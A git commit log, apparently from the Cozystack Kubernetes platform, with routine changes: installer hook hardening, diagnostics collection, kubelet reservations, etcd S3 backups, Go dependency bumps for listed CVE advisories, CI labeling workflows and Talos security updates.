Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 11:14:38 +05:00
Myasnikov DaniilandClaude Opus 4.7 85ced0d729 fix(installer): harden cozy-system-labeler hook and add hosted variant
Address review feedback on PR #2508:

- Pin alpine/k8s by digest (matches operator image pinning style).
- Add resources requests/limits and a minimal securityContext to the
  labeler Job: capabilities drop ALL, allowPrivilegeEscalation: false,
  seccompProfile RuntimeDefault.
- Include hook-failed in helm.sh/hook-delete-policy across all four
  hook resources so a failed install doesn't leave SA / ClusterRole /
  ClusterRoleBinding / Job objects behind.
- Add explicit hosted variant case in the env block, mirroring the
  pattern in cozystack-operator.yaml.

Co-Authored-By: Claude Opus 4.7 (1M context) <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-04 10:59:36 +05:00
IvanHunters 000157f9d7 fix(kubevirt-operator): use instant vector with for: 10m instead of max_over_time
Replace max_over_time([10m]) == 1 with an instant vector selector
and a top-level for: 10m clause. The previous expression fired as
long as the metric was non-running at any point in the last 10 minutes;
the new expression fires only when the condition is sustained continuously
for the full 10-minute window, matching the alert name semantics.

Signed-off-by: IvanHunters <xorokhotnikov@gmail.com>
2026-05-03 00:33:42 +03:00
Myasnikov Daniil aa72a232e6 feat(cozyreport): collect Flux/cert-manager/host context + summary.txt
`hack/cozyreport.sh` now collects materially more signal so a triage
artifact can show what is broken rather than just dumping pod logs:

- Flux controller logs (helm-controller, source-controller,
  notification-controller, kustomize-controller, last 2000 lines)
- Flux source resources (HelmRepository, OCIRepository, GitRepository,
  ExternalArtifact)
- Decoded Helm storage secrets for non-Ready HRs
  (`base64 -d | base64 -d | gzip -d`)
- Cluster events (all + warning-only filter)
- cert-manager Certificate / CertificateRequest / Order / Challenge
  resources + cert-manager logs
- `cozystack-operator` deployment logs (current + previous)
- `Application` / `ApplicationDefinition` / `Tenant` resources
- Sandbox host context per node: df, free, ps, dmesg,
  talosctl logs/dmesg/kubelet/containerd

New `hack/cozyreport-summary.sh` writes a `summary.txt` at the archive
root listing what is broken right now — first thing to read when
triaging an artifact.

Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
Assisted-By: Claude <noreply@anthropic.com>
2026-05-02 17:55:40 +05:00
Myasnikov Daniil 4527320944 fix(installer): bootstrap cozy-system via --create-namespace + label hook
The chart used to ship `Namespace cozy-system` directly, which trips a
helm v3 chicken-and-egg whenever the install command uses
`--create-namespace`:

  - WITH `--create-namespace`, helm pre-creates the namespace via plain
    kubectl-create (no helm meta annotations); the chart's own Namespace
    apply then fails with `already exists`.
  - WITHOUT `--create-namespace`, helm fails immediately because it
    cannot write its release-secret to a non-existent namespace.

The bug was hidden by the 3x retry on the install step in
`.github/workflows/pull-requests.yaml`: attempt 1 fails with the
conflict, attempt 2 sees the failed release and takes the upgrade code
path (patch-merge instead of strict-create). Surfaces cleanly when the
retry is dropped; reproducible on every cold install.

Fix has two pieces:

1. Drop the chart-side `Namespace cozy-system` resource. Install
   commands now use the standard `helm upgrade --install --namespace
   cozy-system --create-namespace` (matches kube-prometheus-stack /
   argo-cd / cert-manager).

2. Add a pre-install/pre-upgrade Job hook (`cozy-system-labeler`) that
   patches `cozystack.io/system=true` and
   `pod-security.kubernetes.io/enforce=privileged` onto the namespace
   so the cozystack-operator pod (hostNetwork=true) is admitted.

The hook runs in `kube-system`, not `cozy-system`. Reason: the operator
pod needs hostNetwork=true (no CNI yet at install time), which violates
PodSecurity baseline. cozy-system therefore needs enforce=privileged
*before* the operator pod is admitted. A labeler pod inside cozy-system
would itself need hostNetwork=true and hit the same admission denial:

    pods "cozy-system-labeler-..." is forbidden: violates PodSecurity
    "baseline:latest": host namespaces (hostNetwork=true)

Job admission denial means no pod is ever created, .status.failed never
increments and backoffLimit never trips. helm's --wait waits for
Complete=True forever and surfaces only the generic "timed out waiting
for the condition" at its budget.

`kube-system` is PSA-exempt on Talos
(`defaults.exemptions.namespaces` in the apiserver
PodSecurityConfiguration) and unlabeled on vanilla kubeadm/kind/k3s, so
hostNetwork pods are admitted there. The hook's ServiceAccount is bound
to a ClusterRole scoped via `resourceNames: ["cozy-system"]` to the one
target namespace, keeping the cluster permission grant minimal.
`hook-delete-policy: before-hook-creation,hook-succeeded` ensures the
SA, RBAC, and Job are cleaned up after a successful install/upgrade.

Verified end-to-end in CI on the parallel consolidation branch
feat/e2e-optimization (PR #2500): cold install passes admission, the
operator pod comes up, all downstream E2E tests pass.

Assisted-By: Claude <noreply@anthropic.com>
Signed-off-by: Myasnikov Daniil <myasnikovdaniil2001@gmail.com>
2026-05-02 17:48:27 +05:00
Arsolitt 5786afe8bf feat(kubernetes): add kubelet resource reservations for worker nodes (#2420)
**What this PR does**

Adds configurable kubelet resource reservations and eviction thresholds
for tenant cluster worker nodes. Without explicit reservations and
cgroup enforcement, the scheduler treats nearly all node memory and CPU
as allocatable. Under pressure, the OOM killer can target kubelet itself
because no cgroup boundaries protect it, leading to "Kubelet stopped
posting node status" failures and unrecoverable NotReady nodes.

This PR auto-computes per-node-group kubelet reservations from the
effective node capacity (instanceType or explicit `resources`):

- **Memory**: `systemReservedMemory` and `kubeReservedMemory` each
default to 5% of effective memory, clamped 256Mi-1Gi
- **CPU**: `systemReservedCpu` and `kubeReservedCpu` each default to 5%
of effective CPU, clamped 50m-500m
- **Eviction**: configurable `evictionHardMemory` (default 7%) and
`evictionSoftMemory` (default 10%) with validation that hard < soft
- **Disk eviction**: `nodefs.available`, `imagefs.available`, and
`nodefs.inodesFree` thresholds are preserved alongside memory signals
- **Capacity annotations**: cluster-autoscaler annotations now report
allocatable memory and CPU (total minus all reservations and eviction
threshold) instead of raw totals
- **Cgroup enforcement**: `enforce-node-allocatable=pods` configures
advisory-only reservations — the scheduler accounts for reserved
resources when computing allocatable capacity, but no cgroup boundaries
are enforced for system or kube reserved resources
- **Validation**: format checks, zero-value rejection, eviction ordering
(hard < soft), same-unit-type requirement for eviction thresholds, and
total reservation sanity check against effective node capacity

All reservation fields are optional and overridable per node group via
`.nodeGroups[].kubelet`.

**Default rendered kubeletExtraArgs:**

```yaml
kubeletExtraArgs:
  system-reserved: "memory=256Mi,cpu=50m"
  kube-reserved: "memory=256Mi,cpu=50m"
  eviction-hard: "memory.available<7%,nodefs.available<10%,imagefs.available<15%,nodefs.inodesFree<5%"
  eviction-soft: "memory.available<10%,nodefs.available<15%,imagefs.available<20%"
  eviction-soft-grace-period: "memory.available=1m30s,nodefs.available=1m30s,imagefs.available=1m30s"
  eviction-minimum-reclaim: "memory.available=256Mi"
  enforce-node-allocatable: "pods"
```

**New values schema:**

```yaml
nodeGroups:
  md0:
    kubelet:
      systemReservedMemory: ""   # auto-computed (5% of effective memory, 256Mi-1Gi)
      kubeReservedMemory: ""     # auto-computed (5% of effective memory, 256Mi-1Gi)
      systemReservedCpu: ""      # auto-computed (5% of effective CPU, 50m-500m)
      kubeReservedCpu: ""        # auto-computed (5% of effective CPU, 50m-500m)
      evictionHardMemory: "7%"   # absolute (e.g. 200Mi) or percentage
      evictionSoftMemory: "10%"  # must be > evictionHardMemory, same unit type
```

**Release note:**

```
feat(kubernetes): add per-node-group kubelet resource reservations with auto-computed system/kube reserved memory (5% of effective memory, clamped 256Mi-1Gi) and CPU (5% of effective CPU, clamped 50m-500m), configurable memory eviction thresholds, preserved disk eviction signals (nodefs, imagefs, inodesFree), pods-only cgroup enforcement, and reservation-aware allocatable capacity annotations for cluster-autoscaler.
```
2026-05-01 14:45:30 +03:00
Andrei Kvapil b5a1ae57de feat(etcd): update operator to v0.4.3 and expose S3 backup schedules (#2428)
## What this PR does

Bumps the vendored `etcd-operator` chart from `v0.4.2` to `v0.4.3` and
wires the new backup machinery through the cozystack `Etcd` app API.

Upstream v0.4.3 ships two new CRDs — `EtcdBackup` (one-shot snapshot)
and `EtcdBackupSchedule` (periodic snapshots) — along with the
`EtcdCluster.spec.bootstrap` restore field, a new `OPERATOR_IMAGE` env
on the operator deployment, and a replacement of the deprecated
`gcr.io/kubebuilder/kube-rbac-proxy` image. The chart portion of this PR
is a clean re-vendor via `make update` — no local patches.

On top of the bump, `packages/extra/etcd` exposes a new optional
`backup.*` values block. When `backup.enabled=true`, the chart renders
an `EtcdBackupSchedule` referencing the platform `EtcdCluster/etcd` and
a `Secret/etcd-s3-creds` with the S3 credentials expected by the
backup-agent. The values field names (`destinationPath`, `endpointURL`,
`s3AccessKey`, `s3SecretKey`, `schedule`) mirror the existing `postgres`
backup pattern for consistency. The chart `fail`s at template render if
any of the four required S3 fields are empty or if `destinationPath` is
malformed (missing `s3://` prefix, `//` segments, no bucket).

Test coverage: 15 `helm-unittest` cases across
`tests/backup-secret_test.yaml` and
`tests/etcd-backup-schedule_test.yaml` (wired into `make test`, picked
up by `hack/helm-unit-tests.sh`), plus three bats cases in
`hack/e2e-apps/etcd.bats` covering the baseline `Etcd` app, the `backup:
{}` default-off path, and the full `backup.enabled=true` case that
verifies the `EtcdBackupSchedule` materializes and the operator
generates the downstream `CronJob`.

`packages/core/platform/sources/etcd-operator.yaml` now sets
`upgradeCRDs: CreateReplace` on the etcd-operator component, so Flux
applies the new CRDs on upgrade of the chart instead of silently
skipping them.

Depends on #2427.

### Scope deferred to follow-ups

- The one-shot `EtcdBackup` CRD is vendored but not exposed through this
chart — users can still hand-apply the CRD directly.
- `EtcdCluster.spec.bootstrap` (restore from an existing snapshot) is
likewise vendored but not exposed. Both gaps are called out in
`packages/extra/etcd/README.md`.

### Release note

```release-note
feat(etcd): update etcd-operator to v0.4.3 and expose S3 backup schedules on the Etcd app. Set `backup.enabled=true` along with `backup.s3AccessKey`, `backup.s3SecretKey`, `backup.destinationPath`, and `backup.endpointURL` to schedule periodic snapshots.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
* Scheduled S3 backups for etcd clusters (configurable cron, generated
S3 credentials) and restore/init from S3 or PVC via new backup
resources.

* **Tests**
* New end-to-end tests for etcd lifecycle and backup scenarios; added
Helm unit tests for backup templates and validations.

* **Documentation**
  * Backup configuration guide and parameter reference added.

* **Chores**
* Operator chart version bump; RBAC, webhooks, and deployment wiring
updated; added chart test target.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:16:08 +02:00
Andrei Kvapil 70e507ee5c fix(security): bump Go dependencies to clear Dependabot CVE alerts (#2494)
## What this PR does

Closes the 25 open Dependabot Go-ecosystem alerts on this repository (2
critical, 11 high, 12 moderate) by bumping the affected dependencies in
five Go modules to their latest stable versions. Splits the work into
six signed commits, one per logical block, so the diff in each commit
can be reviewed in isolation.

### Full advisory coverage

| # | Module | Severity | Package | Advisory | Title | Vulnerable |
Shipped |
|---|---|---|---|---|---|---|---|
| 29 | `go.mod` | critical | `google.golang.org/grpc` |
[GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3)
| gRPC-Go authorization bypass via missing leading slash in `:path` | `<
1.79.3` | `1.80.0` |
| 28 | `kubevirt-csi-driver/go.mod` | critical |
`google.golang.org/grpc` |
[GHSA-p77j-4mvh-x3m3](https://github.com/advisories/GHSA-p77j-4mvh-x3m3)
| gRPC-Go authorization bypass via missing leading slash in `:path` | `<
1.79.3` | `1.80.0` |
| 32 | `go.mod` | high | `go.opentelemetry.io/otel` |
[GHSA-mh2q-q3fh-2475](https://github.com/advisories/GHSA-mh2q-q3fh-2475)
| Multi-value `baggage` header extraction causes excessive allocations
(remote DoS amplification) | `>= 1.36.0, <= 1.40.0` | `1.43.0` |
| 31 | `go.mod` | high | `github.com/moby/spdystream` |
[GHSA-pc3f-x583-g7j2](https://github.com/advisories/GHSA-pc3f-x583-g7j2)
| SpdyStream: DoS on CRI | `<= 0.5.0` | `0.5.1` |
| 30 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` |
[GHSA-hfvc-g4fc-pqhx](https://github.com/advisories/GHSA-hfvc-g4fc-pqhx)
| BSD `kenv` command not using absolute path enables PATH hijacking |
`>= 1.15.0, <= 1.42.0` | `1.43.0` |
| 27 | `go.mod` | high | `go.opentelemetry.io/otel/sdk` |
[GHSA-9h8m-3fm2-qjrq](https://github.com/advisories/GHSA-9h8m-3fm2-qjrq)
| OpenTelemetry Go SDK vulnerable to arbitrary code execution via PATH
hijacking | `>= 1.21.0, < 1.40.0` | `1.43.0` |
| 26 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-cgrx-mc8f-2prm](https://github.com/advisories/GHSA-cgrx-mc8f-2prm)
| runc container escape and DoS due to arbitrary write gadgets and
procfs write redirects | `<= 1.2.7` | `1.4.2` |
| 25 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-qw9x-cqr3-wc7r](https://github.com/advisories/GHSA-qw9x-cqr3-wc7r)
| runc container escape with malicious config due to `/dev/console`
mount and related races | `>= 1.0.0-rc3, <= 1.2.7` | `1.4.2` |
| 24 | `kubevirt-csi-driver/go.mod` | high |
`github.com/opencontainers/runc` |
[GHSA-9493-h29p-rfm2](https://github.com/advisories/GHSA-9493-h29p-rfm2)
| runc container escape via "masked path" abuse due to mount race
conditions | `<= 1.2.7` | `1.4.2` |
| 23 | `kubevirt-csi-driver/go.mod` | high | `golang.org/x/oauth2` |
[GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9)
| Improper Validation of Syntactic Correctness of Input | `< 0.27.0` |
`0.36.0` |
| 16 | `kubeovn-webhook/go.mod` | high | `golang.org/x/oauth2` |
[GHSA-6v2p-p543-phr9](https://github.com/advisories/GHSA-6v2p-p543-phr9)
| Improper Validation of Syntactic Correctness of Input | `< 0.27.0` |
`0.36.0` |
| 4 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` |
[GHSA-4374-p667-p6c8](https://github.com/advisories/GHSA-4374-p667-p6c8)
| HTTP/2 rapid reset can cause excessive work in `net/http` | `< 0.17.0`
| `0.53.0` |
| 3 | `kubeovn-webhook/go.mod` | high | `golang.org/x/net` |
[GHSA-vvpx-j8f3-3w6h](https://github.com/advisories/GHSA-vvpx-j8f3-3w6h)
| `golang.org/x/net` vulnerable to Uncontrolled Resource Consumption |
`< 0.7.0` | `0.53.0` |
| 22 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` |
[GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw)
| `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` |
`0.53.0` |
| 21 | `kubevirt-csi-driver/go.mod` | medium | `golang.org/x/net` |
[GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66)
| HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` |
| 20 | `kubevirt-csi-driver/go.mod` | medium |
`github.com/opencontainers/runc` |
[GHSA-jfvp-7x6p-h2pv](https://github.com/advisories/GHSA-jfvp-7x6p-h2pv)
| runc can be confused to create empty files/directories on the host |
`< 1.1.14` | `1.4.2` |
| 19 | `go.mod` | medium | `golang.org/x/crypto` |
[GHSA-f6x5-jh6r-wrfv](https://github.com/advisories/GHSA-f6x5-jh6r-wrfv)
| `golang.org/x/crypto/ssh/agent` vulnerable to panic if message is
malformed (OOB read) | `< 0.45.0` | `0.50.0` |
| 18 | `go.mod` | medium | `golang.org/x/crypto` |
[GHSA-j5w8-q4qc-rx2x](https://github.com/advisories/GHSA-j5w8-q4qc-rx2x)
| `golang.org/x/crypto/ssh` allows an attacker to cause unbounded memory
consumption | `< 0.45.0` | `0.50.0` |
| 14 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-vvgc-356p-c3xw](https://github.com/advisories/GHSA-vvgc-356p-c3xw)
| `golang.org/x/net` vulnerable to Cross-site Scripting | `< 0.38.0` |
`0.53.0` |
| 11 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-qxp5-gwg8-xv66](https://github.com/advisories/GHSA-qxp5-gwg8-xv66)
| HTTP Proxy bypass using IPv6 Zone IDs | `< 0.36.0` | `0.53.0` |
| 9 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-xrjj-mj9h-534m](https://github.com/advisories/GHSA-xrjj-mj9h-534m)
| `golang.org/x/net/http2` vulnerable to possible excessive memory
growth | `< 0.4.0` | `0.53.0` |
| 8 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-4v7x-pqxf-cx7m](https://github.com/advisories/GHSA-4v7x-pqxf-cx7m)
| `net/http`, `x/net/http2`: close connections when receiving too many
headers | `< 0.23.0` | `0.53.0` |
| 7 | `kubeovn-webhook/go.mod` | medium | `google.golang.org/protobuf` |
[GHSA-8r3f-844c-mc37](https://github.com/advisories/GHSA-8r3f-844c-mc37)
| `protojson.Unmarshal` infinite loop on certain forms of invalid JSON |
`< 1.33.0` | `1.36.11` |
| 6 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-qppj-fm5r-hxr3](https://github.com/advisories/GHSA-qppj-fm5r-hxr3)
| HTTP/2 Stream Cancellation Attack | `< 0.17.0` | `0.53.0` |
| 5 | `kubeovn-webhook/go.mod` | medium | `golang.org/x/net` |
[GHSA-2wrh-6pvc-2jm9](https://github.com/advisories/GHSA-2wrh-6pvc-2jm9)
| Improper rendering of text nodes in `golang.org/x/net/html` | `<
0.13.0` | `0.53.0` |

Sorted by severity (critical → high → medium), then by alert number. The
`Module` column lists the manifest path inside the repo (`go.mod` is the
root); `Vulnerable` is what GitHub flagged in the original advisory;
`Shipped` is the version this PR pins to.

### Modules bumped

1. Root `go.mod` (`github.com/cozystack/cozystack`) — purely transitive
bumps for `grpc`, `otel`, `otel/sdk`, `x/crypto`, `spdystream`.
2. `api/apps/v1alpha1/go.mod` — bumps `k8s.io/apimachinery` and
`golang.org/x/net`/`x/text` for consistency with the root module's `go
1.26.2` directive.
3. `packages/apps/kubernetes/images/kubevirt-csi-driver/go.mod` — bumps
the upstream `kubevirt.io/csi-driver` pin to its latest commit, raises
the `k8s.io/*` replace block from `v0.31.4` to `v0.36.0`, bumps `runc`
to `v1.4.2`, and adapts `main.go` to the upstream's new builder-style
API for `service.NewKubevirtCSIDriver` (the constructor was split into
`WithIdentityService` / `WithControllerService` / `WithNodeService`).
4. `packages/system/kubeovn-webhook/images/kubeovn-webhook/go.mod` —
direct bumps to `golang.org/x/net`, `golang.org/x/oauth2`,
`google.golang.org/protobuf`.
5. `packages/system/dashboard/images/token-proxy/go.mod` — bumps `jwx`,
`httprc`, `x/crypto`, `x/sys` for consistency with the root module's
directive.

All five modules now declare `go 1.26.2`. The three vendored-image
Dockerfiles (`kubevirt-csi-driver`, `kubeovn-webhook`, `token-proxy`)
move to `golang:1.26{,-alpine}`.

### First-party Dockerfile bumps

The root `go.mod` directive jump to `1.26.2` means every Dockerfile that
copies the root `go.mod` and builds a cozystack-owned binary needs a
matching base image, otherwise the in-container toolchain has to pull
`go 1.26` on the fly via `GOTOOLCHAIN=auto` at every build. Eight images
are bumped from `golang:1.25-alpine` to `golang:1.26-alpine`:
`cozystack-operator`, `cozystack-api`, `cozystack-controller`,
`backup-controller`, `backupstrategy-controller`, `flux-plunger`,
`kubeovn-plunger`, `lineage-controller-webhook`.

Vendored Dockerfiles (`kubevirt-cloud-provider`, `redis-operator`,
`keycloak-operator`, `linstor-csi`, `multus-cni`, `objectstorage`,
`s3manager`, `kamaji`) are intentionally untouched: each one fetches its
source from upstream at build time and pins its `golang:` base image to
whatever the upstream commit was tested against.

### Why bump past the advisory minimums

Bumping each affected dependency to its latest stable rather than the
lowest patched version means we pick up subsequent (non-CVE) bug fixes
for free and reduce the number of follow-up Dependabot bumps the next
reviewer has to triage. Where this required a cascading bump (e.g.
`runc` v1.4.2 only compiles together with `mount-utils` v0.32+, which
dropped the deprecated `libcontainer/userns` import path), the cascade
was followed through.

### Build verification

`go build ./...` and `go vet ./...` are clean across all five modules
locally. Two `go vet` warnings in the root module
(`pkg/lineage/lineage_test.go:76` unkeyed struct fields,
`cmd/cozypkg/cmd/add.go:521` non-constant format string) and three
`randfill.Continue` test panics in `pkg/apis/{apps,core}/install` and
`pkg/apiserver` also reproduce on `main` and are out of scope for this
PR.

### Out of scope

The `k8s.io/*` libraries in `kubeovn-webhook/go.mod` are still pinned at
`v0.26.0`; they are not flagged by Dependabot and bumping them would be
a separate, much larger maintenance change.

### Release note

```release-note
fix(security): bump Go dependencies in root, api/apps/v1alpha1, kubevirt-csi-driver, kubeovn-webhook, and token-proxy modules to clear all open Dependabot CVE alerts
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **Chores**
  * Upgraded Go toolchain across components and build stages to 1.26.x.
* Updated numerous dependencies for compatibility, stability and
security (Kubernetes APIs, gRPC, OpenTelemetry, golang.org/x/*, and
related libs).
* Several containers now run as a non-root user (UID/GID 65532) to
improve runtime security.

* **Refactor**
* CSI driver initialization refactored to a builder-style pattern
enabling conditional service wiring.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:16:03 +02:00
Andrei Kvapil 9432cdfac8 chore(ci): replace Dosu stale and size labeling with native workflows (#2504)
## What this PR does

Replace Dosu's stale-management and PR-size labeling with native GitHub
Actions ahead of disabling the Dosu app on this repo, and migrate the
six `size:*` labels to the canonical `size/*` namespace while we're
rewriting the sizing path.

**Background**: Dosu (the SaaS) currently writes `lifecycle/stale`
lifecycle and `size:*` labels via its bot. Audit of `.github/workflows/`
(full grep) confirmed zero hard dependencies on Dosu's outputs —
`backport*` is human-applied, `release` is auto-applied by `tags.yaml`
itself, and nothing else consumes Dosu-applied labels in any workflow.

### `.github/workflows/stale.yaml` (new)

Daily cron at 04:37 UTC plus manual dispatch. Uses `actions/stale@v10`:

- Stale after 60 days idle: applies `lifecycle/stale`.
- Closes 14 days later, applying `lifecycle/rotten`.
- `remove-stale-when-updated: true` — activity un-stales automatically.
- 100 ops/run.

Issue and PR exempt lists differ on purpose: an accepted issue
(`triage/accepted`) is a known long-tail task, not stale; a held PR
(`do-not-merge/hold`) is paused intentionally.
Priority/security/regression labels protect issues someone explicitly
decided to keep visible.

### `.github/workflows/pr-size.yaml` (new)

Triggers on `opened`, `synchronize`, `reopened` (`pull_request_target`).
Inline `actions/github-script@v7` — no third-party labeler dependency.
Diff-line count with thresholds matching the descriptions in
`.github/labels.yml`:

| label | lines |
|---|---|
| `size/XS` | 0–9 |
| `size/S` | 10–29 |
| `size/M` | 30–99 |
| `size/L` | 100–499 |
| `size/XL` | 500–999 |
| `size/XXL` | 1000+ |

Inline ignore patterns skip:

- vendored Go deps (`vendor/**`)
- kubebuilder/openapi inline generated files
(`zz_generated.{deepcopy,conversion,defaults,openapi}.go`)
- whole code-generated trees: any path under `generated/`, plus
`*.pb.go`
- vendored Helm charts (`packages/system/*/charts/**`)
- lockfiles (`go.sum`, `*.lock`, `*.lockb`)

Concurrency group keyed on PR number with `cancel-in-progress: true`
(latest push wins). `removeLabel` is wrapped in `try/catch` tolerating
404 for races between event payload and execution.

### `size:` → `size/` namespace migration

The legacy `size:X` (colon) form was an artefact of the previous sizing
bot; with that bot being replaced and every other label namespace in the
repo using slashes (`kind/`, `area/`, `priority/`, `triage/`,
`lifecycle/`, `do-not-merge/`, `security/`), `size/` is the consistent
form. Migration via aliases in `labels.yml` — IDs preserved, every
existing labelled PR follows the rename automatically.

The new `pr-size.yaml` emits `size/*` from day 1 and accepts both
prefixes when looking up the previous size label, to handle the brief
window between merge and the next labels-sync run.

### Out of scope (intentional)

- **`lgtm` replacement** — deferred. 33/33 of `lgtm` events in the last
100 PRs come from Dosu; humans never apply it manually. Whether
reviewers actually rely on it is unclear — observe for 7 days
post-Dosu-disable before adding a `pull_request_review`-on-approve
workflow.
- **LLM-based issue auto-classification** (`kind/bug`/`kind/feature` on
inbound issues) — accepted loss; manual triage replaces.
- **Cleanup of `wontfix`/`invalid`** in `labels.yml` — separate cleanup
PR.

### Release note

```release-note
NONE
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->
## Summary by CodeRabbit

* **New Features**
- Pull requests now automatically receive size labels (XS, S, M, L, XL,
XXL) based on lines changed.
- Issues and pull requests are automatically marked as stale after 60
days of inactivity and closed 14 days later if still inactive.

* **Chores**
- PR size label namespace updated to a slash-based format (size/...)
while preserving the old names as aliases for backward compatibility.
<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:15:59 +02:00
Andrei Kvapil e9351a6757 fix(tests): increase Bootstrap Talos cluster timeout to 60s (#2431)
## What this PR does

The `Bootstrap Talos cluster` step in `hack/e2e-prepare-cluster.bats`
wraps `talosctl bootstrap` in `timeout 10 sh -ec 'until talosctl
bootstrap ...; do sleep 1; done'`. On a freshly booted Talos node NTP
has not yet converged, so `talosctl bootstrap` returns
`FailedPrecondition: time is not in sync yet` after ~5-6s. With the 10s
outer timeout the embedded `until/sleep 1` loop only completes a single
attempt before it is killed, and the E2E job fails during `Prepare
environment`.

On slower self-hosted runners NTP typically converges before the first
attempt. On fast ephemeral runners (Oracle VMs) it does not, producing a
consistent flake that only the outer workflow-level 3-attempt retry can
paper over.

Bump the outer timeout to 60s and the inter-attempt sleep to 2s. This
aligns with the other bootstrap gates in the same test (etcd members
check at 180s, drain RPC errors at 60s, node registration at 60s) and
gives NTP plenty of time to converge.

### Release note

```release-note
fix(tests): increase `Bootstrap Talos cluster` timeout in E2E from 10s to 60s to accommodate NTP convergence on fast ephemeral runners.
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

* **Chores**
* Enhanced cluster bootstrap process resilience by extending retry
mechanisms and adjusting timing intervals to better tolerate transient
failures during system initialization.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:15:55 +02:00
Andrei Kvapil 5ef1500baf fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease (#2533)
## What this PR does

The `filer` and `s3` blocks in the seaweedfs HelmRelease values omitted
the `replicas:` field, so user-supplied `.Values.filer.replicas` and
`.Values.s3.replicas` were silently ignored and the upstream chart
defaults took over. As a second-order effect, the `WorkloadMonitor`
resources for `filer` and `s3` (which read the same values) diverged
from the actual replica count and could trigger spurious alerts when
users set non-default values.

This PR mirrors the existing `master` / `volume` / `db` pattern and
interpolates `replicas:` into both blocks.

Fixes #2531

### Release note

```release-note
fix(seaweedfs): pass filer.replicas and s3.replicas to HelmRelease so user-supplied values take effect
```


<!-- This is an auto-generated comment: release notes by coderabbit.ai
-->

## Summary by CodeRabbit

## Release Notes

* **Chores**
* SeaweedFS deployment configuration now supports configurable replica
counts for the filer and s3 components, providing flexible cluster
scaling through deployment parameters.

<!-- end of auto-generated comment: release notes by coderabbit.ai -->
2026-05-01 13:15:50 +02:00
Aleksei Sviridkin 8c85e69b50 feat(talos): bump Talos to v1.13.0 (#2546)
## What this PR does

Bumps Talos Linux from v1.12.7 to v1.13.0. The v1.13 release line also
contains the kernel fix for CVE-2026-31431 ("Copy Fail").

Refreshes the bundled system extension digests (amdgpu, i915, drbd, zfs)
to their 1.13.0-aligned builds.

Generated via `make update` in `packages/core/talos`.

Stacked on top of #2545. Targets `fix/talos-1.12.7` so the diff shown
here is just the v1.12.7 → v1.13.0 delta.

References:
- https://copy.fail/
-
https://www.siderolabs.com/blog/exploit-fail-cve-2026-31431-copy-fail-barely-scratches-talos-linux

### Release note

```release-note
feat(talos): bump Talos Linux to v1.13.0
```
2026-05-01 13:55:54 +03:00
Andrei Kvapil 431eac8daf fix(talos): bump Talos to v1.12.7 (CVE-2026-31431) (#2545)
## What this PR does

Bumps Talos Linux from v1.12.6 to v1.12.7, which includes the kernel fix
for CVE-2026-31431 ("Copy Fail") — an unprivileged-to-root local
privilege escalation in the Linux kernel crypto subsystem
(`algif_aead`).

This also refreshes the bundled system extension digests (amd-ucode,
amdgpu, bnx2-bnx2x, i915, intel-ice-firmware, qlogic-firmware, drbd,
zfs) to their 1.12.7-aligned builds.

Generated via `make update` in `packages/core/talos`.

References:
- https://copy.fail/
-
https://www.siderolabs.com/blog/exploit-fail-cve-2026-31431-copy-fail-barely-scratches-talos-linux

### Release note

```release-note
fix(talos): bump Talos Linux to v1.12.7, picking up the kernel fix for CVE-2026-31431 ("Copy Fail")
```
2026-05-01 12:55:26 +02:00
Andrei KvapilandClaude 179b603cfc feat(talos): bump Talos to v1.13.0
Bumps Talos Linux from v1.12.7 to v1.13.0. The v1.13 release line also
contains the kernel fix for CVE-2026-31431 ("Copy Fail").

Refreshes the bundled system extension digests (amdgpu, i915, drbd, zfs)
to their 1.13.0-aligned builds.

Generated via `make update` in packages/core/talos.

Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
2026-04-30 23:22:04 +02:00
Andrei KvapilandClaude 8549f3b9c3 fix(talos): bump Talos to v1.12.7 (CVE-2026-31431)
Bumps Talos Linux from v1.12.6 to v1.12.7, which includes the kernel
fix for CVE-2026-31431 ("Copy Fail") — an unprivileged-to-root local
privilege escalation in the Linux kernel crypto subsystem (algif_aead).

Also refreshes the bundled system extension digests (amd-ucode, amdgpu,
bnx2-bnx2x, i915, intel-ice-firmware, qlogic-firmware, drbd, zfs) to
their 1.12.7-aligned builds.

Generated via `make update` in packages/core/talos.

Co-Authored-By: Claude <noreply@anthropic.com>
Signed-off-by: Andrei Kvapil <kvapss@gmail.com>
2026-04-30 23:09:31 +02:00
Arsolitt 59c547eacf docs(mongodb): document password rotation behavior on upgrade
Describe the in-place password rotation performed by the Percona operator
when upgrading to releases that scope the system users secret per CR.
